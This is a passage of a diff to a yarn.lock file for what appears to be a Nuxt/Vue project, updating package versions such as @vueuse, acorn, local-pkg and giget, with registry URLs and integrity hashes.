   resolved "https://registry.yarnpkg.com/@vueuse/metadata/-/metadata-11.3.0.tgz#be7ac12e3016c0353a3667b372a73aeeee59194e"
   integrity sha512-pwDnDspTqtTo2HwfLw4Rp6yywuuBdYnPYDq+mO38ZYKGebCUQC/nVj/PXSiK9HX5otxLz8Fn7ECPbjiRz2CC3g==
 
-"@vueuse/metadata@12.7.0":
-  version "12.7.0"
-  resolved "https://registry.yarnpkg.com/@vueuse/metadata/-/metadata-12.7.0.tgz#17a263927204962ec045095c83f62c81db085a46"
-  integrity sha512-4VvTH9mrjXqFN5LYa5YfqHVRI6j7R00Vy4995Rw7PQxyCL3z0Lli86iN4UemWqixxEvYfRjG+hF9wL8oLOn+3g==
+"@vueuse/metadata@12.8.2":
+  version "12.8.2"
+  resolved "https://registry.yarnpkg.com/@vueuse/metadata/-/metadata-12.8.2.tgz#6cb3a4e97cdcf528329eebc1bda73cd7f64318d3"
+  integrity sha512-rAyLGEuoBJ/Il5AmFHiziCPdQzRt88VxR+Y/A/QhJ1EWtWqPBBAxTAFaSkviwEuOEZNtW8pvkPgoCZQ+HxqW1A==
 
 "@vueuse/nuxt@^12.2.0":
-  version "12.7.0"
-  resolved "https://registry.yarnpkg.com/@vueuse/nuxt/-/nuxt-12.7.0.tgz#9d5f900923cff91a958955b60b2a0e7cb653a339"
-  integrity sha512-JG1yjJifcIZkFr+X1VmfNsdNZyHia/wXcpUHqVI2gwax5+bgmUlybqh9nStNGbX9NLUuPvPNNq043es5DlSJKg==
+  version "12.8.2"
+  resolved "https://registry.yarnpkg.com/@vueuse/nuxt/-/nuxt-12.8.2.tgz#279857211e464cbe8b11d41021c84879078f4a43"
+  integrity sha512-jDsMli+MmxlhzaMwu8a2varKlkiBTPCdb+I457F7bTb1GazC6HDbGbLmhkpVQ8bNA1FzqfhwhAsOEsESF7wOkw==
   dependencies:
     "@nuxt/kit" "^3.15.4"
-    "@vueuse/core" "12.7.0"
-    "@vueuse/metadata" "12.7.0"
-    local-pkg "^1.0.0"
+    "@vueuse/core" "12.8.2"
+    "@vueuse/metadata" "12.8.2"
+    local-pkg "^1.1.1"
     vue "^3.5.13"
 
 "@vueuse/shared@11.3.0":
@@ -3785,10 +3785,10 @@
   dependencies:
     vue-demi ">=0.14.10"
 
-"@vueuse/shared@12.7.0":
-  version "12.7.0"
-  resolved "https://registry.yarnpkg.com/@vueuse/shared/-/shared-12.7.0.tgz#0c573789069818a2e25ddae3ab64b536c614537b"
-  integrity sha512-coLlUw2HHKsm7rPN6WqHJQr18WymN4wkA/3ThFaJ4v4gWGWAQQGK+MJxLuJTBs4mojQiazlVWAKNJNpUWGRkNw==
+"@vueuse/shared@12.8.2":
+  version "12.8.2"
+  resolved "https://registry.yarnpkg.com/@vueuse/shared/-/shared-12.8.2.tgz#b9e4611d0603629c8e151f982459da394e22f930"
+  integrity sha512-dznP38YzxZoNloI0qpEfpkms8knDtaoQ6Y/sfS0L7Yki4zh40LFHEhur0odJC6xTHG5dxWVPiUWBXn+wCG2s5w==
   dependencies:
     vue "^3.5.13"
 
@@ -3819,11 +3819,16 @@ acorn-jsx@^5.3.2:
   resolved "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz#7ed5bb55908b3b2f1bc55c6af1653bada7f07937"
   integrity sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==
 
-acorn@8.14.0, acorn@^8.14.0, acorn@^8.5.0, acorn@^8.6.0, acorn@^8.8.2, acorn@^8.9.0:
+acorn@8.14.0:
   version "8.14.0"
   resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.14.0.tgz#063e2c70cac5fb4f6467f0b11152e04c682795b0"
   integrity sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==
 
+acorn@^8.14.0, acorn@^8.5.0, acorn@^8.6.0, acorn@^8.8.2, acorn@^8.9.0:
+  version "8.14.1"
+  resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.14.1.tgz#721d5dc10f7d5b5609a891773d47731796935dfb"
+  integrity sha512-OvQ/2pUDKmgfCg++xsTX1wGxfTaszcHVcTctW4UJB4hibJx2HXxxO5UmVgyjMa+ZDsiaf5wWLXYpRWMmBI0QHg==
+
 agent-base@^7.1.0, agent-base@^7.1.2:
   version "7.1.3"
   resolved "https://registry.yarnpkg.com/agent-base/-/agent-base-7.1.3.tgz#29435eb821bc4194633a5b89e5bc4703bafc25a1"
@@ -4191,7 +4196,7 @@ brotli@^1.3.2:
   dependencies:
     base64-js "^1.1.2"
 
-browserslist@^4.0.0, browserslist@^4.23.3, browserslist@^4.24.0, browserslist@^4.24.3:
+browserslist@^4.0.0, browserslist@^4.23.3, browserslist@^4.24.0, browserslist@^4.24.4:
   version "4.24.4"
   resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.24.4.tgz#c6b2865a3f08bcb860a0e827389003b9fe686e4b"
   integrity sha512-KDi1Ny1gSePi1vm0q4oxSF8b4DR44GF4BbmS2YdhPLOEqd8pDviZOGH/GsmRwoWJ2+5Lr085X7naowMwKHDG1A==
@@ -4246,7 +4251,7 @@ bundle-require@^5.0.0, bundle-require@^5.1.0:
   dependencies:
     load-tsconfig "^0.2.3"
 
-c12@2.0.1, c12@^2.0.1, c12@^2.0.2, c12@^2.0.4:
+c12@2.0.1, c12@^2.0.1, c12@^2.0.4, c12@^3.0.2:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/c12/-/c12-2.0.1.tgz#5702d280b31a08abba39833494c9b1202f0f5aec"
   integrity sha512-Z4JgsKXHG37C6PYUtIxCfLJZvo6FyhHJoClwwb9ftUkLpPSkuYqn6Tr+vnaN8hymm0kIbcg6Ey3kv/Q71k5w/A==
@@ -4308,9 +4313,9 @@ caniuse-api@^3.0.0:
     lodash.uniq "^4.5.0"
 
 caniuse-lite@^1.0.0, caniuse-lite@^1.0.30001646, caniuse-lite@^1.0.30001688:
-  version "1.0.30001701"
-  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001701.tgz#ad9c90301f7153cf6b3314d16cc30757285bf9e7"
-  integrity sha512-faRs/AW3jA9nTwmJBSO1PQ6L/EOgsB5HMQQq4iCu5zhPgVVgO/pZRHlmatwijZKetFw8/Pr4q6dEN8sJuq8qTw==
+  version "1.0.30001702"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001702.tgz#cde16fa8adaa066c04aec2967b6cde46354644c4"
+  integrity sha512-LoPe/D7zioC0REI5W73PeR1e1MLCipRGq/VkovJnd6Df+QVqT+vT33OXCp8QUd7kA7RZrHWxb1B36OQKI/0gOA==
 
 ccount@^2.0.0:
   version "2.0.1"
@@ -4700,6 +4705,11 @@ confbox@^0.1.7, confbox@^0.1.8:
   resolved "https://registry.yarnpkg.com/confbox/-/confbox-0.1.8.tgz#820d73d3b3c82d9bd910652c5d4d599ef8ff8b06"
   integrity sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==
 
+confbox@^0.2.1:
+  version "0.2.1"
+  resolved "https://registry.yarnpkg.com/confbox/-/confbox-0.2.1.tgz#ae39f2c99699afa451d00206479f15f9a1208a8b"
+  integrity sha512-hkT3yDPFbs95mNCy1+7qNKC6Pro+/ibzYxtM2iqEigpf0sVw+bg4Zh9/snjsBcf990vfIsg5+1U7VyiyBb3etg==
+
 config-chain@^1.1.11:
   version "1.1.13"
   resolved "https://registry.yarnpkg.com/config-chain/-/config-chain-1.1.13.tgz#fad0795aa6a6cdaff9ed1b68e9dff94372c232f4"
@@ -4757,6 +4767,16 @@ cookie-es@^1.2.2:
   resolved "https://registry.yarnpkg.com/cookie-es/-/cookie-es-1.2.2.tgz#18ceef9eb513cac1cb6c14bcbf8bdb2679b34821"
   integrity sha512-+W7VmiVINB+ywl1HGXJXmrqkOhpKrIiVZV6tQuV54ZyQC7MMuBt81Vc336GMLoHBq5hV/F9eXgt5Mnx0Rha5Fg==
 
+cookie-es@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/cookie-es/-/cookie-es-2.0.0.tgz#ca6163d7ef8686ea6bbdd551f1de575569c1ed69"
+  integrity sha512-RAj4E421UYRgqokKUmotqAwuplYw15qtdXfY+hGzgCJ/MBjCVZcSoHK/kH9kocfjRjcDME7IiDWR/1WX1TM2Pg==
+
+cookie@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/cookie/-/cookie-1.0.2.tgz#27360701532116bd3f1f9416929d176afe1e4610"
+  integrity sha512-9Kr/j4O16ISv8zBBhJoi4bXOYNTkFLOqSL3UDB0njXxCXNezjeyVrJyGOWtgfs/q2km1gwBcfH8q1yEGoMYunA==
+
 copy-anything@^3.0.2:
   version "3.0.5"
   resolved "https://registry.yarnpkg.com/copy-anything/-/copy-anything-3.0.5.tgz#2d92dce8c498f790fa7ad16b01a1ae5a45b020a0"
@@ -4765,11 +4785,11 @@ copy-anything@^3.0.2:
     is-what "^4.1.8"
 
 core-js-compat@^3.37.0:
-  version "3.40.0"
-  resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.40.0.tgz#7485912a5a4a4315c2fdb2cbdc623e6881c88b38"
-  integrity sha512-0XEDpr5y5mijvw8Lbc6E5AkjrHfp7eEoPlu36SWeAbcL8fn1G1ANe8DBlo2XoNN89oVpxWwOjYIPVzR4ZvsKCQ==
+  version "3.41.0"
+  resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.41.0.tgz#4cdfce95f39a8f27759b667cf693d96e5dda3d17"
+  integrity sha512-RFsU9LySVue9RTwdDVX/T0e2Y6jRYWXERKElIjpuEOEnxaXffI0X7RUwVzfYLfzuLXSNJDYoRYUAmRUcyln20A==
   dependencies:
-    browserslist "^4.24.3"
+    browserslist "^4.24.4"
 
 core-util-is@~1.0.0:
   version "1.0.3"
@@ -4830,9 +4850,9 @@ croner@^9.0.0:
   integrity sha512-onMB0OkDjkXunhdW9htFjEhqrD54+M94i6ackoUkjHKbRnXdyEyKRelp4nJ1kAz32+s27jP1FsebpJCVl0BsvA==
 
 cronstrue@^2.52.0:
-  version "2.55.0"
-  resolved "https://registry.yarnpkg.com/cronstrue/-/cronstrue-2.55.0.tgz#c7dd69628556c53df925179a9500f0986379c961"
-  integrity sha512-ZsBZNtQWb0Rk6CNGJlzpPBYqNE7t93Aez5ZCExLihGwmIpE5qThSTDQzDV8Z1Nw6ksmLkwI98nPKyciZ5sH7dw==
+  version "2.56.0"
+  resolved "https://registry.yarnpkg.com/cronstrue/-/cronstrue-2.56.0.tgz#70b406106e6059bf9c494c788255d671d8ecc361"
+  integrity sha512-/YC3b4D/E/S8ToQ7f676A2fqoC3vVpXKjJ4SMsP0jYsvRYJdZ6h9+Fq/Y7FoFDEUFCqLTca+G2qTV227lyyFZg==
 
 cross-fetch@^3.0.4:
   version "3.2.0"
@@ -4850,7 +4870,7 @@ cross-spawn@^7.0.3, cross-spawn@^7.0.6:
     shebang-command "^2.0.0"
     which "^2.0.1"
 
-"crossws@>=0.2.0 <0.4.0", crossws@^0.3.1, crossws@^0.3.3:
+"crossws@>=0.2.0 <0.4.0", crossws@^0.3.3, crossws@^0.3.4:
   version "0.3.4"
   resolved "https://registry.yarnpkg.com/crossws/-/crossws-0.3.4.tgz#06164c6495ea99152ea7557c99310b52d9be9b29"
   integrity sha512-uj0O1ETYX1Bh6uSgktfPvwDiPYGQ3aI4qVsaC/LWpkIzGj1nUYm5FK3K+t11oOlpN01lGbprFCH4wBlKdJjVgw==
@@ -5342,10 +5362,10 @@ dayjs@^1.11.10:
   resolved "https://registry.yarnpkg.com/dayjs/-/dayjs-1.11.13.tgz#92430b0139055c3ebb60150aa13e860a4b5a366c"
   integrity sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg==
 
-db0@^0.2.1, db0@^0.2.4:
-  version "0.2.4"
-  resolved "https://registry.yarnpkg.com/db0/-/db0-0.2.4.tgz#458e400516ccaa3f34722cd5eedc762835974518"
-  integrity sha512-hIzftLH1nMsF95zSLjDLYLbE9huOXnLYUTAQ5yKF5amp0FpeD+B15XJa8BvGYSOeSCH4gl2WahB/y1FcUByQSg==
+db0@^0.3.1:
+  version "0.3.1"
+  resolved "https://registry.yarnpkg.com/db0/-/db0-0.3.1.tgz#84366f06cd9a154545b077be5cb955e4ac278314"
+  integrity sha512-3RogPLE2LLq6t4YiFCREyl572aBjkfMvfwPyN51df00TbPbryL3XqBYuJ/j6mgPssPK8AKfYdLxizaO5UG10sA==
 
 de-indent@^1.0.2:
   version "1.0.2"
@@ -5609,9 +5629,9 @@ ee-first@1.1.1:
   integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
 
 electron-to-chromium@^1.5.73:
-  version "1.5.106"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.106.tgz#ed07e5eb617eacbfbb96d22f077c28315f2a5bc9"
-  integrity sha512-12keJGdXQWPnfVOu6/6ZzZgPPNodiDOSe3LjA8qk2yXTjnCnw2LeGUsAmtlNAmH4UW0K7tOLcz0j9lI2eJCJRA==
+  version "1.5.112"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.112.tgz#8d3d95d4d5653836327890282c8eda5c6f26626d"
+  integrity sha512-oen93kVyqSb3l+ziUgzIOlWt/oOuy4zRmpwestMn4rhFWAoFJeFuCVte9F2fASjeZZo7l/Cif9TiyrdW4CwEMA==
 
 emoji-regex-xs@^1.0.0:
   version "1.0.0"
@@ -5977,9 +5997,9 @@ eslint-plugin-vue-scoped-css@^2.9.0:
     postcss-styl "^0.12.0"
 
 eslint-plugin-vue@^9.28.0:
-  version "9.32.0"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-vue/-/eslint-plugin-vue-9.32.0.tgz#2b558e827886b567dfaa156cc1cad0f596461fab"
-  integrity sha512-b/Y05HYmnB/32wqVcjxjHZzNpwxj1onBOvqW89W+V+XNG1dRuaFbNd3vT9CLbr2LXjEoq+3vn8DanWf7XU22Ug==
+  version "9.33.0"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-vue/-/eslint-plugin-vue-9.33.0.tgz#de33eba8f78e1d172c59c8ec7fbfd60c6ca35c39"
+  integrity sha512-174lJKuNsuDIlLpjeXc5E2Tss8P44uIimAfGD0b90k0NoirJqpG7stLuU9Vp/9ioTOrQdWVREc4mRd1BD+CvGw==
   dependencies:
     "@eslint-community/eslint-utils" "^4.4.0"
     globals "^13.24.0"
@@ -6207,6 +6227,11 @@ exponential-backoff@^3.1.1:
   resolved "https://registry.yarnpkg.com/exponential-backoff/-/exponential-backoff-3.1.2.tgz#a8f26adb96bf78e8cd8ad1037928d5e5c0679d91"
   integrity sha512-8QxYTVXUkuy7fIIoitQkPwGonB8F3Zj8eEO8Sqg9Zv/bkI7RJAzowee4gr81Hak/dUTpA2Z7VfQgoijjPNlUZA==
 
+exsolve@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/exsolve/-/exsolve-1.0.1.tgz#67ba83ed65fa1657d5e010a25782c78dbc3e8a42"
+  integrity sha512-Smf0iQtkQVJLaph8r/qS8C8SWfQkaq9Q/dFcD44MLbJj6DNhlWefVuaS21SjfqOsBbjVlKtbCj6L9ekXK6EZUg==
+
 extend@^3.0.0:
   version "3.0.2"
   resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa"
@@ -6324,9 +6349,9 @@ fill-range@^7.1.1:
     to-regex-range "^5.0.1"
 
 find-up-simple@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/find-up-simple/-/find-up-simple-1.0.0.tgz#21d035fde9fdbd56c8f4d2f63f32fd93a1cfc368"
-  integrity sha512-q7Us7kcjj2VMePAa02hDAF6d+MzsdsAWEwYyOpwUtlerRBkOEPBCRZrAV4XfcSN8fHAgaD0hP7miwoay6DCprw==
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/find-up-simple/-/find-up-simple-1.0.1.tgz#18fb90ad49e45252c4d7fca56baade04fa3fca1e"
+  integrity sha512-afd4O7zpqHeRyg4PfDQsXmlDe2PfdHtJt6Akt8jOWaApLOZk5JXs6VMR29lz03pRe9mpykrRCYIYxaJYcfpncQ==
 
 find-up@^2.0.0:
   version "2.1.0"
@@ -6452,7 +6477,7 @@ fs-constants@^1.0.0:
   resolved "https://registry.yarnpkg.com/fs-constants/-/fs-constants-1.0.0.tgz#6be0de9be998ce16af8afc24497b9ee9b7ccd9ad"
   integrity sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==
 
-fs-extra@^11.0.0, fs-extra@^11.1.0, fs-extra@^11.2.0:
+fs-extra@^11.0.0, fs-extra@^11.1.0, fs-extra@^11.2.0, fs-extra@^11.3.0:
   version "11.3.0"
   resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-11.3.0.tgz#0daced136bbaf65a555a326719af931adc7a314d"
   integrity sha512-Z4XaCL6dUDHfP/jT25jJKMmtxvuwbkrD1vNSMFlo9lNLY2c5FHYSQgHPRZUjAB26TpDEoW9HCOgplrdbaPV/ew==
@@ -6545,7 +6570,7 @@ get-tsconfig@^4.7.3, get-tsconfig@^4.7.5:
   dependencies:
     resolve-pkg-maps "^1.0.0"
 
-giget@^1.2.3, giget@^1.2.4:
+giget@^1.2.3:
   version "1.2.5"
   resolved "https://registry.yarnpkg.com/giget/-/giget-1.2.5.tgz#0bd4909356a0da75cc1f2b33538f93adec0d202f"
   integrity sha512-r1ekGw/Bgpi3HLV3h1MRBIlSAdHoIMklpaQ3OQLFcRw9PwAj2rqigvIbg+dBUI51OxVI2jsEtDywDBjSiuf7Ug==
@@ -6558,6 +6583,18 @@ giget@^1.2.3, giget@^1.2.4:
     pathe "^2.0.3"
     tar "^6.2.1"
 
+giget@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/giget/-/giget-2.0.0.tgz#395fc934a43f9a7a29a29d55b99f23e30c14f195"
+  integrity sha512-L5bGsVkxJbJgdnwyuheIunkGatUF/zssUoxxjACCseZYAVbaqdh9Tsmmlkl8vYan09H7sbvKt4pS8GqKLBrEzA==
+  dependencies:
+    citty "^0.1.6"
+    consola "^3.4.0"
+    defu "^6.1.4"
+    node-fetch-native "^1.6.6"
+    nypm "^0.6.0"
+    pathe "^2.0.3"
+
 git-config-path@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/git-config-path/-/git-config-path-2.0.0.tgz#62633d61af63af4405a5024efd325762f58a181b"
@@ -6626,7 +6663,7 @@ glob@^10.0.0, glob@^10.2.2, glob@^10.3.10, glob@^10.3.7, glob@^10.4.5:
     package-json-from-dist "^1.0.0"
     path-scurry "^1.11.1"
 
-glob@^7.1.3, glob@^7.1.6:
+glob@^7.1.6:
   version "7.2.3"
   resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b"
   integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==
@@ -6667,7 +6704,7 @@ globals@^15.14.0, globals@^15.7.0, globals@^15.9.0:
   resolved "https://registry.yarnpkg.com/globals/-/globals-15.15.0.tgz#7c4761299d41c32b075715a4ce1ede7897ff72a8"
   integrity sha512-7ACyT3wmyp3I61S4fG682L0VA2RGD9otkqGJIwNUMF1SWUombIIk+af1unuDYgMm082aHYwD+mzJvv9Iu8dsgg==
 
-globby@^14.0.0, globby@^14.0.2:
+globby@^14.0.0, globby@^14.0.2, globby@^14.1.0:
   version "14.1.0"
   resolved "https://registry.yarnpkg.com/globby/-/globby-14.1.0.tgz#138b78e77cf5a8d794e327b15dce80bf1fb0a73e"
   integrity sha512-0Ia46fDOaT7k4og1PDW4YbodWWr3scS2vAr2lTbsplOt2WkKp0vQbkI9wKis/T5LV/dqPjO3bpS/z6GTJB82LA==
@@ -6713,7 +6750,7 @@ h3-compression@^0.3.2:
   resolved "https://registry.yarnpkg.com/h3-compression/-/h3-compression-0.3.2.tgz#2d5e803a0a51fabf32deb34fa82e108577f6922b"
   integrity sha512-B+yCKyDRnO0BXSfjAP4tCXJgJwmnKp3GyH5Yh66mY9KuOCrrGQSPk/gBFG2TgH7OyB/6mvqNZ1X0XNVuy0qRsw==
 
-h3@^1.10.0, h3@^1.12.0, h3@^1.13.0, h3@^1.14.0, h3@^1.15.0:
+h3@^1.10.0, h3@^1.12.0, h3@^1.13.0, h3@^1.14.0, h3@^1.15.0, h3@^1.15.1:
   version "1.15.1"
   resolved "https://registry.yarnpkg.com/h3/-/h3-1.15.1.tgz#59d6f70d7ef619fad74ecdf465a08fff898033bb"
   integrity sha512-+ORaOBttdUm1E2Uu/obAyCguiI7MbBvsLTndc3gyK3zU+SYLoZXlyCP9Xgy0gikkGufFLTZXCXD6+4BsufnmHA==
@@ -6873,7 +6910,7 @@ hast-util-raw@^9.0.0:
     web-namespaces "^2.0.0"
     zwitch "^2.0.0"
 
-hast-util-to-html@^9.0.0, hast-util-to-html@^9.0.3, hast-util-to-html@^9.0.4:
+hast-util-to-html@^9.0.0, hast-util-to-html@^9.0.3, hast-util-to-html@^9.0.5:
   version "9.0.5"
   resolved "https://registry.yarnpkg.com/hast-util-to-html/-/hast-util-to-html-9.0.5.tgz#ccc673a55bb8e85775b08ac28380f72d47167005"
   integrity sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw==
@@ -6890,7 +6927,7 @@ hast-util-to-html@^9.0.0, hast-util-to-html@^9.0.3, hast-util-to-html@^9.0.4:
     stringify-entities "^4.0.0"
     zwitch "^2.0.4"
 
-hast-util-to-mdast@^10.0.0, hast-util-to-mdast@^10.1.1:
+hast-util-to-mdast@^10.0.0, hast-util-to-mdast@^10.1.2:
   version "10.1.2"
   resolved "https://registry.yarnpkg.com/hast-util-to-mdast/-/hast-util-to-mdast-10.1.2.tgz#bc76f7f5f72f2cde4d6a66ad4cd0aba82bb79909"
   integrity sha512-FiCRI7NmOvM4y+f5w32jPRzcxDIz+PUqDwEqn1A+1q2cdp3B8Gx7aVrXORdOKjMNDQsD1ogOr896+0jJHW1EFQ==
@@ -7002,11 +7039,6 @@ hosted-git-info@^8.0.0, hosted-git-info@^8.0.2:
   dependencies:
     lru-cache "^10.0.1"
 
-html-tags@^3.3.1:
-  version "3.3.1"
-  resolved "https://registry.yarnpkg.com/html-tags/-/html-tags-3.3.1.tgz#a04026a18c882e4bba8a01a3d39cfe465d40b5ce"
-  integrity sha512-ztqyC3kLto0e9WbNp0aeP+M3kTt+nbaIveGmUxAtZa+8iFgKLUOD4YKM5j+f3QD89bra7UeumolZHKuOXnTmeQ==
-
 html-void-elements@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/html-void-elements/-/html-void-elements-3.0.0.tgz#fc9dbd84af9e747249034d4d62602def6517f1d7"
@@ -7064,7 +7096,7 @@ https-proxy-agent@^7.0.0, https-proxy-agent@^7.0.1, https-proxy-agent@^7.0.5:
     agent-base "^7.1.2"
     debug "4"
 
-httpxy@^0.1.5, httpxy@^0.1.7:
+httpxy@^0.1.7:
   version "0.1.7"
   resolved "https://registry.yarnpkg.com/httpxy/-/httpxy-0.1.7.tgz#02d02e57eda10e8b5c0e3f9f10860e3d7a5991a4"
   integrity sha512-pXNx8gnANKAndgga5ahefxc++tJvNL87CXoRwxn1cJE2ZkWEojF3tNfQIEhZX/vfpt+wzeAzpUI4qkediX1MLQ==
@@ -7135,6 +7167,11 @@ image-size@^1.2.0:
   dependencies:
     queue "6.0.2"
 
+image-size@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/image-size/-/image-size-2.0.0.tgz#5b03dd619e73a6e7e55c323f9934a0a5d4461e8b"
+  integrity sha512-HP07n1SpdIXGUL4VotUIOQz66MQOq8g7VN+Yj02YTVowqZScQ5i/JYU0+lkNr2pwt5j4hOpk94/UBV1ZCbS2fA==
+
 immutable@^5.0.2:
   version "5.0.3"
   resolved "https://registry.yarnpkg.com/immutable/-/immutable-5.0.3.tgz#aa037e2313ea7b5d400cd9298fa14e404c933db1"
@@ -7263,7 +7300,7 @@ into-stream@^7.0.0:
     from2 "^2.3.0"
     p-is-promise "^3.0.0"
 
-ioredis@^5.4.1:
+ioredis@^5.5.0:
   version "5.5.0"
   resolved "https://registry.yarnpkg.com/ioredis/-/ioredis-5.5.0.tgz#ff2332e125ca2ac8e15472ddd14ecdffa6484a2a"
   integrity sha512-7CutT89g23FfSa8MDoIFs2GYYa0PaNiW/OrT+nRyjRXHDZd17HmIgy+reOQ/yhh72NznNjGuS8kbCAcA4Ro4mw==
@@ -7556,7 +7593,7 @@ java-properties@^1.0.2:
   resolved "https://registry.yarnpkg.com/java-properties/-/java-properties-1.0.2.tgz#ccd1fa73907438a5b5c38982269d0e771fe78211"
   integrity sha512-qjdpeo2yKlYTH7nFdK0vbZWuTCesk4o63v5iVOlhMQPfuIZQfW/HI35SjfhA+4qpg36rnFSvUK5b1m+ckIblQQ==
 
-jiti@^2.1.2, jiti@^2.3.0, jiti@^2.4.0, jiti@^2.4.1, jiti@^2.4.2:
+jiti@^2.1.2, jiti@^2.3.0, jiti@^2.4.1, jiti@^2.4.2:
   version "2.4.2"
   resolved "https://registry.yarnpkg.com/jiti/-/jiti-2.4.2.tgz#d19b7732ebb6116b06e2038da74a55366faef560"
   integrity sha512-rg9zJN+G4n2nfJl5MW3BMygZX56zKPNVEYYqq7adpmMh4Jn2QNEwhvQlFy6jPVdcod7txZtKHWnyZiA3a0zP7A==
@@ -7714,6 +7751,11 @@ kleur@^3.0.3:
   resolved "https://registry.yarnpkg.com/kleur/-/kleur-3.0.3.tgz#a79c9ecc86ee1ce3fa6206d1216c501f147fc07e"
   integrity sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==
 
+kleur@^4.1.5:
+  version "4.1.5"
+  resolved "https://registry.yarnpkg.com/kleur/-/kleur-4.1.5.tgz#95106101795f7050c6c650f350c683febddb1780"
+  integrity sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==
+
 klona@^2.0.4, klona@^2.0.6:
   version "2.0.6"
   resolved "https://registry.yarnpkg.com/klona/-/klona-2.0.6.tgz#85bffbf819c03b2f53270412420a4555ef882e22"
@@ -7973,13 +8015,14 @@ local-pkg@^0.5.0, local-pkg@^0.5.1:
     mlly "^1.7.3"
     pkg-types "^1.2.1"
 
-local-pkg@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/local-pkg/-/local-pkg-1.0.0.tgz#a8d14dd41e78884f199ecd8b3eedaf0d376e2167"
-  integrity sha512-bbgPw/wmroJsil/GgL4qjDzs5YLTBMQ99weRsok1XCDccQeehbHA/I1oRvk2NPtr7KGZgT/Y5tPRnAtMqeG2Kg==
+local-pkg@^1.0.0, local-pkg@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/local-pkg/-/local-pkg-1.1.1.tgz#f5fe74a97a3bd3c165788ee08ca9fbe998dc58dd"
+  integrity sha512-WunYko2W1NcdfAFpuLUoucsgULmgDBRkdxHxWQ7mK0cQqwPiy8E1enjuRBrhLtZkB5iScJ1XIPdhVEFK8aOLSg==
   dependencies:
-    mlly "^1.7.3"
-    pkg-types "^1.3.0"
+    mlly "^1.7.4"
+    pkg-types "^2.0.1"
+    quansync "^0.2.8"
 
 locate-path@^2.0.0:
   version "2.0.0"
@@ -8122,7 +8165,7 @@ magic-string-ast@^0.7.0:
   dependencies:
     magic-string "^0.30.17"
 
-magic-string@^0.30.10, magic-string@^0.30.11, magic-string@^0.30.12, magic-string@^0.30.14, magic-string@^0.30.17, magic-string@^0.30.3, magic-string@^0.30.4, magic-string@^0.30.8:
+magic-string@^0.30.10, magic-string@^0.30.11, magic-string@^0.30.14, magic-string@^0.30.17, magic-string@^0.30.3, magic-string@^0.30.4, magic-string@^0.30.8:
   version "0.30.17"
   resolved "https://registry.yarnpkg.com/magic-string/-/magic-string-0.30.17.tgz#450a449673d2460e5bbcfba9a61916a1714c7453"
   integrity sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA==
@@ -8422,9 +8465,9 @@ mermaid@^11.4.0:
     uuid "^9.0.1"
 
 micromark-core-commonmark@^2.0.0, micromark-core-commonmark@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/micromark-core-commonmark/-/micromark-core-commonmark-2.0.2.tgz#6a45bbb139e126b3f8b361a10711ccc7c6e15e93"
